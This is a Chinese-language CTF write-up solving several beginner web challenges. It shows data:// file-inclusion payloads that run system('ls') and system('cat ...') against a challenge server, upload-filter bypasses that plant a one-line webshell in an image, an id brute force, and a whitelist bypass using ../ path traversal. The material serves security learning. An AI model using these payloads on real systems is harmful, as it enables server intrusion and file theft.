ctf练习题

WEB-Challenge area -Web php include

代码审计可以轻松知道本题考查文件包含并且过滤的php://
所以我们用data://伪协议来传输数据，成功执行phpinfo()

http://111.200.241.244:59922/index.php?page=data://text/plain,<?php phpinfo();?>

接下来我们利用大小写测试服务器操作系统（其实上图已经知道是ubuntu但还是习惯性测试一下）

http://111.200.241.244:59922/index.phP

返回错误得知操作系统是Ubuntu
接下来就好办了，我们来获取目录，直接得到了flag文件

http://111.200.241.244:59922/index.php?page=data://text/plain,<?php system('ls')?>

获取flag

#cat文件，在源码中找到flag
http://111.200.241.244:59922/index.php?page=data://text/plain,<?php system('cat fl4gisisish3r3.php')?>

#直接获取文件内容
http://111.200.241.244:59922/index.php?page=data://text/plain,<?php show_source('fl4gisisish3r3.php');?>

flag：

本题
data://协议
条件：
(1)php>5.2、(2)allow_url_fopen:on、(3)allow_url_include :on
使用：

data://text/plain,		#直接传输代码
data://text/plain;base64,	#传输base64编码

WEB-Challenge area -upload1

本题较为简单，在此只讲述该题解题大致流程。国庆校ctf赛中也有一道upload题，在此主要讲述本人ctf比赛中解upload题的过程

解法1
1、随便上传一个文件，得到提示只能上传图片
2、将png图片写入一句话木马直接上传
3、burp抓包修改后缀为php绕过前端认证
4、蚁剑连接获得flag

解法2
1、上传文件后看到弹出提示框，猜测是前端js判断
2、禁用javascript并上传php文件
3、蚁剑连接获得flag

校ctf竞赛upload题解：
打开网站一片漆黑，查看源代码发现提示文件包含

接着利用目录扫描工具dirsearch扫描得到目录，发现目录下有一个robots.txt可以访问

访问robots.txt，此处便给出了文件上传的url

同样是只能传图片，上传txt文件提示只能上传png | jpeg | gif文件，所以这是白名单

白名单的题自然想到%00截断和图片马，前面提示了文件包含我们直接开始制作图片马

#得到图片马
copy 1.gif/b + 1.php/a 2.gif

上传成功但是文件名已经被改变说明有二次渲染，在这里就将上传的文件下载下来，用16进制编辑器将上传前后的两张图片对比，在其一致的地方插入一句话木马，遗憾的是，换了几个不同的地方试了好几遍都上传成功但是无法用蚁剑连接

在网上查阅资料，阅读到一篇文章：“将上传后下载下来的图片再次上传并下载，对比两个图片发现完全一致”，借用此方法，在下载下来的图片的里插入一句话木马并上传

利用文件包含成功连接

至此flag已经唾手可得了，进入根目录打开终端

WEB-Challenge area -ics-06

本题题目描述：“云平台报表中心收集了设备管理基础服务的数据，但是数据被删除了，只有一处留下了入侵者的痕迹”

根据描述进入网站点击报表中心，查看源码、扫描目录都没有发现有用信息，看着界面中的送分题三个字开始迷茫…

这时看见url上有get方式传递了id，猜测爆破id值。写脚本得到一个从数字0到5000的字典，上burp爆破，发现不同长嘿嘿

点进去找到flag

WEB-Challenge area -baby_web

题目描述：“想想初始页面是哪个”
看题目描述想到index.php，但是输入index.php会自动跳转到1.php。这里用到burp抓包，将get的1.php改成index.php发现返回Flag is hidden!

这个提示不就是叫人找flag嘛，首先在Render里面找没能找到，然后点"头"最终flag就在值里面

WEB-Challenge area -Training-WWW-Robots

这题和上题一样纯属白给，标题告诉我们有robots文件那我们就访问下看看

直接给出了flag的文件，访问即得flag

WEB-Challenge area -warmup

首先按F12检查源代码，提示source.php

那我们就访问它

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

显然这是要我们代码审计，满足这三个条件我们就可以成功文件包含，1和2必然满足，把目光放在3上

1)! empty($_REQUEST['file']
2)is_string($_REQUEST['file']
3)emmm::checkFile($_REQUEST['file']

回到静态函数里，共有四个if语句。
第一个if：这个不需要担心
第二个if：当参数里面包含$whitelist时就返回True，所以参数里只需要有source.php或者hint.php即可
第三个if：取参数第一个？前的部分并进行白名单判断
第四个if：将参数url解码后执行与第三个if相同的操作

可以得出?source.php?file=hint.php?(…)能够成功执行文件包含，至此还差最重要的一步，找到flag文件的位置，再次代码审计，发现hint.php很可疑，所以访问下，直接告诉我们flag在ffffllllaaaagggg文件里

根据include $_REQUEST[‘file’]得知，将接收的变量file包含并执行而file一定要有source.php 或hint.php所以猜测传给source.php或hint.php的参数为flag文件的地址就能返回flag
所以我们构造

?source.php?file=hint.php?ffffllllaaaagggg
?source.php?file=hint.php?../ffffllllaaaagggg
...
#最终得到flag
?source.php?file=hint.php?../../../../../../ffffllllaaaagggg

该题主要考察代码审计，其中有点绕的是将file变量传给source.php文件，在source.php文件中包含接收的file变量，并且file变量是一个php文件并且以GET方式将payload传参。